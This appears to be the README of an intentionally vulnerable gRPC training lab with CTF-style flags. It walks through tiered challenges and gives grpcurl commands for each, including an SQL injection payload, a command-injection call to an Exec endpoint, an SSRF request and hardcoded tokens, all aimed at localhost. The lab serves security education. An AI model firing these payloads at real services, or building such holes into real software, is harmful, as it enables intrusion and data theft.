Vulnerable by Design. Application-layer gRPC security lab for learning and pentesting.
Each lab contains a CTF-style flag (GRPC_GOAT{...}) that you can capture by successfully exploiting the vulnerability.
docker compose up --buildServices will be available on localhost:8001, 8002, 8006–8011.
A terminal that runs your commands. You exploit manually (grpcurl, etc.); flags in the output auto-capture.
make console && ./bin/grpc-consoleRun from the project root (so protos/ is available). Built-in: help, labs, status, hint <id>, exit. Use tier IDs (e.g. hint T0.1, hint T2.1). Everything else runs as a shell command.
nyxragon > grpcurl -plaintext -proto protos/t1_transport/t1_transport.proto -d '{"username":"admin","password":"test"}' localhost:8002 t1_transport.TransportService/Login
# output contains GRPC_GOAT{...} → auto-captured, +pts| Step | Command |
|---|---|
| 1. Start server | docker compose up --build |
| 2. Run console | make console && ./bin/grpc-console |
| 3. Enter username | nyxragon |
| 4. Run exploit | grpcurl -plaintext -proto protos/t1_transport/t1_transport.proto -d '{"username":"admin","password":"test"}' localhost:8002 t1_transport.TransportService/Login |
| 5. Flag captured | GRPC_GOAT{plaintext_is_never_ok} → +75 pts |
Labs are organized by tiers (Discovery → Transport → Auth → AuthZ → Input) with difficulty (easy, medium, hard) and bypass type per challenge.
- T0 — Discovery
- T0.1 Schema Exposure — reflection exposes the API (port 8001, easy)
- T1 — Transport
- T1.1 Unencrypted Channel — plaintext gRPC, no TLS (port 8002, easy)
- T2 — Authentication
- T2.1 Missing Auth — GetConfig needs no auth (port 8006, easy)
- T2.2 Hardcoded Credentials — default tokens accepted (port 8007, medium)
- T3 — Authorization
- T3.1 Object Reference — GetUserById with arbitrary IDs (port 8008, medium)
- T4 — Input Handling
- T4.1 Query Concatenation — SQL injection via query param (port 8009, medium)
- T4.2 Unsanitized Execution — command injection in Exec (port 8010, hard)
- T4.3 Server-Initiated Request — SSRF via FetchUrl (port 8011, medium)
make test # Unit + integration (fast)
make test-e2e # Full E2E with headless runner
make verify # Headless runner JSON report (server must be running)Use grpcurl to interact with the services:
# T0.1 Schema Exposure - List services (reflection)
grpcurl -plaintext localhost:8001 list
# T1.1 Unencrypted Channel - Login
grpcurl -plaintext -proto protos/t1_transport/t1_transport.proto \
-d '{"username":"admin","password":"test"}' \
localhost:8002 t1_transport.TransportService/Login
# T2.1 Missing Auth - GetConfig (no auth)
grpcurl -plaintext -proto protos/t2_missing_auth/t2_missing_auth.proto \
-d '{}' localhost:8006 t2_missing_auth.ConfigService/GetConfig
# T2.2 Hardcoded Credentials - GetSecret (use token: admin, grpc, or secret)
grpcurl -plaintext -proto protos/t2_hardcoded_creds/t2_hardcoded_creds.proto \
-H 'authorization: admin' -d '{}' localhost:8007 t2_hardcoded_creds.SecretService/GetSecret
# T3.1 Object Reference - GetUserById (try id=2 for flag)
grpcurl -plaintext -proto protos/t3_object_ref/t3_object_ref.proto \
-d '{"id":"2"}' localhost:8008 t3_object_ref.UserService/GetUserById
# T4.1 Query Concatenation - FindUser (try: 1' OR '1'='1)
grpcurl -plaintext -proto protos/t4_query_concat/t4_query_concat.proto \
-d '{"query":"1'\'' OR '\''1'\''='\''1"}' localhost:8009 t4_query_concat.SearchService/FindUser
# T4.2 Unsanitized Execution - Exec
grpcurl -plaintext -proto protos/t4_unsanitized_exec/t4_unsanitized_exec.proto \
-d '{"command":"id"}' localhost:8010 t4_unsanitized_exec.DebugService/Exec
# T4.3 Server-Initiated Request - FetchUrl
grpcurl -plaintext -proto protos/t4_server_initiated/t4_server_initiated.proto \
-d '{"url":"http://localhost/admin"}' localhost:8011 t4_server_initiated.ProxyService/FetchUrl- Docker and Docker Compose (for containerized run)
- grpcurl:
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest - Go 1.24+ (for local build)
make proto # Uses Docker; requires rvolosatovs/protoc imagegrpc-pentest-lab/
├── cmd/
│ ├── server/ # Main server (all labs)
│ ├── console/ # Interactive gamified terminal
│ └── runner/ # Headless exploit runner (CI/automation)
├── internal/
│ ├── labs/ # Central lab metadata (tiers, difficulty, bypass type)
│ ├── registry/ # Lab registration
│ ├── t0_schema/ # Per-lab server implementations (tier-based)
│ ├── ...
│ └── runner/ # Exploit logic for headless runner
├── test/
│ ├── integration/ # Integration tests
│ └── e2e/ # E2E scripts (grpcurl)
├── protos/ # Proto definitions per lab
├── docker-compose.yml
├── Dockerfile
└── Makefile
| Target | Description |
|---|---|
make test |
Unit + integration tests (local, no Docker) |
make test-e2e |
E2E: start server, run headless runner, verify all flags |
make test-e2e-grpcurl |
E2E with grpcurl scripts (requires grpcurl) |
make verify |
Run headless runner (server must be up), output JSON |
make runner |
Build bin/grpc-runner |
grpc-pentest-lab is an intentionally vulnerable gRPC application for learning and pentesting. It focuses on application-layer vulnerabilities (missing auth, IDOR, weak auth, input handling) in a gRPC context.
gRPC is a way for applications to communicate over the network. Unlike REST (JSON over HTTP), gRPC uses Protocol Buffers — a binary format. You need a gRPC client to interact with it.
grpcurl is like curl for gRPC. It lets you call gRPC services from the command line.
- Install:
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest - Add to PATH:
export PATH=$PATH:$(go env GOPATH)/bin
Proto (.proto) files define the API — what services exist, what methods they have, and what data they accept. grpcurl uses these to format your requests.
- Start the services:
docker compose up --build - List available services:
grpcurl -plaintext localhost:8001 list - Try the labs using the commands in the Testing section. Each lab returns a flag (
GRPC_GOAT{...}) when you successfully exploit it.
| Concept | What it is |
|---|---|
| gRPC | RPC framework using Protocol Buffers over HTTP/2 |
| Proto | File that defines services and message types |
| grpcurl | CLI tool to call gRPC services (like curl for HTTP) |
| Lab | One vulnerable service with a specific exploit |
| Flag | GRPC_GOAT{...} — proof you exploited the vulnerability |
This application is intentionally vulnerable. Run only in isolated lab environments. Never deploy on public or production systems.
MIT License — see LICENSE for details.
